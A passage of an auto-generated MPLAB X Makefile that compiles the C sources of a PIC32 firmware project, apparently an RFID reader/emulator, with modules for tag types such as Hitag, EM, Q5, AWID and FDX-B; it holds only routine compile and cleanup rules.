@${FIXDEPS} "${OBJECTDIR}/src/clock.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/clock.o.d" -o ${OBJECTDIR}/src/clock.o src/clock.c
${OBJECTDIR}/src/rwd.o: src/rwd.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/rwd.o.d
@${RM} ${OBJECTDIR}/src/rwd.o
@${FIXDEPS} "${OBJECTDIR}/src/rwd.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/rwd.o.d" -o ${OBJECTDIR}/src/rwd.o src/rwd.c
${OBJECTDIR}/src/detect.o: src/detect.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/detect.o.d
@${RM} ${OBJECTDIR}/src/detect.o
@${FIXDEPS} "${OBJECTDIR}/src/detect.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/detect.o.d" -o ${OBJECTDIR}/src/detect.o src/detect.c
${OBJECTDIR}/src/hitagcrypto.o: src/hitagcrypto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitagcrypto.o.d
@${RM} ${OBJECTDIR}/src/hitagcrypto.o
@${FIXDEPS} "${OBJECTDIR}/src/hitagcrypto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitagcrypto.o.d" -o ${OBJECTDIR}/src/hitagcrypto.o src/hitagcrypto.c
${OBJECTDIR}/src/wiegand.o: src/wiegand.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/wiegand.o.d
@${RM} ${OBJECTDIR}/src/wiegand.o
@${FIXDEPS} "${OBJECTDIR}/src/wiegand.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/wiegand.o.d" -o ${OBJECTDIR}/src/wiegand.o src/wiegand.c
${OBJECTDIR}/src/comms.o: src/comms.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/comms.o.d
@${RM} ${OBJECTDIR}/src/comms.o
@${FIXDEPS} "${OBJECTDIR}/src/comms.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/comms.o.d" -o ${OBJECTDIR}/src/comms.o src/comms.c
${OBJECTDIR}/src/nvm.o: src/nvm.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/nvm.o.d
@${RM} ${OBJECTDIR}/src/nvm.o
@${FIXDEPS} "${OBJECTDIR}/src/nvm.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/nvm.o.d" -o ${OBJECTDIR}/src/nvm.o src/nvm.c
${OBJECTDIR}/src/mcp414x.o: src/mcp414x.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/mcp414x.o.d
@${RM} ${OBJECTDIR}/src/mcp414x.o
@${FIXDEPS} "${OBJECTDIR}/src/mcp414x.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/mcp414x.o.d" -o ${OBJECTDIR}/src/mcp414x.o src/mcp414x.c
${OBJECTDIR}/src/spi.o: src/spi.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/spi.o.d
@${RM} ${OBJECTDIR}/src/spi.o
@${FIXDEPS} "${OBJECTDIR}/src/spi.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/spi.o.d" -o ${OBJECTDIR}/src/spi.o src/spi.c
${OBJECTDIR}/src/uart3.o: src/uart3.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uart3.o.d
@${RM} ${OBJECTDIR}/src/uart3.o
@${FIXDEPS} "${OBJECTDIR}/src/uart3.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uart3.o.d" -o ${OBJECTDIR}/src/uart3.o src/uart3.c
${OBJECTDIR}/src/tags.o: src/tags.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/tags.o.d
@${RM} ${OBJECTDIR}/src/tags.o
@${FIXDEPS} "${OBJECTDIR}/src/tags.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/tags.o.d" -o ${OBJECTDIR}/src/tags.o src/tags.c
${OBJECTDIR}/src/unique.o: src/unique.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/unique.o.d
@${RM} ${OBJECTDIR}/src/unique.o
@${FIXDEPS} "${OBJECTDIR}/src/unique.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/unique.o.d" -o ${OBJECTDIR}/src/unique.o src/unique.c
${OBJECTDIR}/src/led.o: src/led.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/led.o.d
@${RM} ${OBJECTDIR}/src/led.o
@${FIXDEPS} "${OBJECTDIR}/src/led.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/led.o.d" -o ${OBJECTDIR}/src/led.o src/led.c
${OBJECTDIR}/src/em.o: src/em.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/em.o.d
@${RM} ${OBJECTDIR}/src/em.o
@${FIXDEPS} "${OBJECTDIR}/src/em.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/em.o.d" -o ${OBJECTDIR}/src/em.o src/em.c
${OBJECTDIR}/src/hid.o: src/hid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hid.o.d
@${RM} ${OBJECTDIR}/src/hid.o
@${FIXDEPS} "${OBJECTDIR}/src/hid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hid.o.d" -o ${OBJECTDIR}/src/hid.o src/hid.c
${OBJECTDIR}/src/read.o: src/read.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/read.o.d
@${RM} ${OBJECTDIR}/src/read.o
@${FIXDEPS} "${OBJECTDIR}/src/read.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/read.o.d" -o ${OBJECTDIR}/src/read.o src/read.c
${OBJECTDIR}/src/isr.o: src/isr.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/isr.o.d
@${RM} ${OBJECTDIR}/src/isr.o
@${FIXDEPS} "${OBJECTDIR}/src/isr.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/isr.o.d" -o ${OBJECTDIR}/src/isr.o src/isr.c
${OBJECTDIR}/src/auto.o: src/auto.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auto.o.d
@${RM} ${OBJECTDIR}/src/auto.o
@${FIXDEPS} "${OBJECTDIR}/src/auto.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auto.o.d" -o ${OBJECTDIR}/src/auto.o src/auto.c
${OBJECTDIR}/src/fdxb.o: src/fdxb.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/fdxb.o.d
@${RM} ${OBJECTDIR}/src/fdxb.o
@${FIXDEPS} "${OBJECTDIR}/src/fdxb.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/fdxb.o.d" -o ${OBJECTDIR}/src/fdxb.o src/fdxb.c
${OBJECTDIR}/src/hitag.o: src/hitag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/hitag.o.d
@${RM} ${OBJECTDIR}/src/hitag.o
@${FIXDEPS} "${OBJECTDIR}/src/hitag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/hitag.o.d" -o ${OBJECTDIR}/src/hitag.o src/hitag.c
${OBJECTDIR}/src/uid.o: src/uid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/uid.o.d
@${RM} ${OBJECTDIR}/src/uid.o
@${FIXDEPS} "${OBJECTDIR}/src/uid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/uid.o.d" -o ${OBJECTDIR}/src/uid.o src/uid.c
${OBJECTDIR}/src/login.o: src/login.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/login.o.d
@${RM} ${OBJECTDIR}/src/login.o
@${FIXDEPS} "${OBJECTDIR}/src/login.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/login.o.d" -o ${OBJECTDIR}/src/login.o src/login.c
${OBJECTDIR}/src/write.o: src/write.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/write.o.d
@${RM} ${OBJECTDIR}/src/write.o
@${FIXDEPS} "${OBJECTDIR}/src/write.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/write.o.d" -o ${OBJECTDIR}/src/write.o src/write.c
${OBJECTDIR}/src/auth.o: src/auth.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/auth.o.d
@${RM} ${OBJECTDIR}/src/auth.o
@${FIXDEPS} "${OBJECTDIR}/src/auth.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/auth.o.d" -o ${OBJECTDIR}/src/auth.o src/auth.c
${OBJECTDIR}/src/q5.o: src/q5.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/q5.o.d
@${RM} ${OBJECTDIR}/src/q5.o
@${FIXDEPS} "${OBJECTDIR}/src/q5.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/q5.o.d" -o ${OBJECTDIR}/src/q5.o src/q5.c
${OBJECTDIR}/src/vtag.o: src/vtag.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/vtag.o.d
@${RM} ${OBJECTDIR}/src/vtag.o
@${FIXDEPS} "${OBJECTDIR}/src/vtag.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/vtag.o.d" -o ${OBJECTDIR}/src/vtag.o src/vtag.c
${OBJECTDIR}/src/config.o: src/config.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/config.o.d
@${RM} ${OBJECTDIR}/src/config.o
@${FIXDEPS} "${OBJECTDIR}/src/config.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/config.o.d" -o ${OBJECTDIR}/src/config.o src/config.c
${OBJECTDIR}/src/select.o: src/select.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/select.o.d
@${RM} ${OBJECTDIR}/src/select.o
@${FIXDEPS} "${OBJECTDIR}/src/select.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/select.o.d" -o ${OBJECTDIR}/src/select.o src/select.c
${OBJECTDIR}/src/sdcard.o: src/sdcard.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/sdcard.o.d
@${RM} ${OBJECTDIR}/src/sdcard.o
@${FIXDEPS} "${OBJECTDIR}/src/sdcard.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/sdcard.o.d" -o ${OBJECTDIR}/src/sdcard.o src/sdcard.c
${OBJECTDIR}/src/debug_pins.o: src/debug_pins.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/debug_pins.o.d
@${RM} ${OBJECTDIR}/src/debug_pins.o
@${FIXDEPS} "${OBJECTDIR}/src/debug_pins.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/debug_pins.o.d" -o ${OBJECTDIR}/src/debug_pins.o src/debug_pins.c
${OBJECTDIR}/src/awid.o: src/awid.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/awid.o.d
@${RM} ${OBJECTDIR}/src/awid.o
@${FIXDEPS} "${OBJECTDIR}/src/awid.o.d" $(SILENT) -rsi ${MP_CC_DIR}../ -c ${MP_CC} $(MP_EXTRA_CC_PRE) -g -x c -c -mprocessor=$(MP_PROCESSOR_OPTION) -DVERSION=`git rev-list HEAD --count` -D_SUPPRESS_PLIB_WARNING=1 -D_DISABLE_OPENADC10_CONFIGPORT_WARNING -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include" -I"/opt/microchip/microchip_solutions_v2013-06-15/Microchip/Include/USB" -I"/opt/microchip/xc32/v1.40/pic32-libs/include" -I"./include" -MMD -MF "${OBJECTDIR}/src/awid.o.d" -o ${OBJECTDIR}/src/awid.o src/awid.c
${OBJECTDIR}/src/analogue.o: src/analogue.c nbproject/Makefile-${CND_CONF}.mk
@${MKDIR} "${OBJECTDIR}/src"
@${RM} ${OBJECTDIR}/src/analogue.o.d
@${RM} ${OBJECTDIR}/src/analogue.o
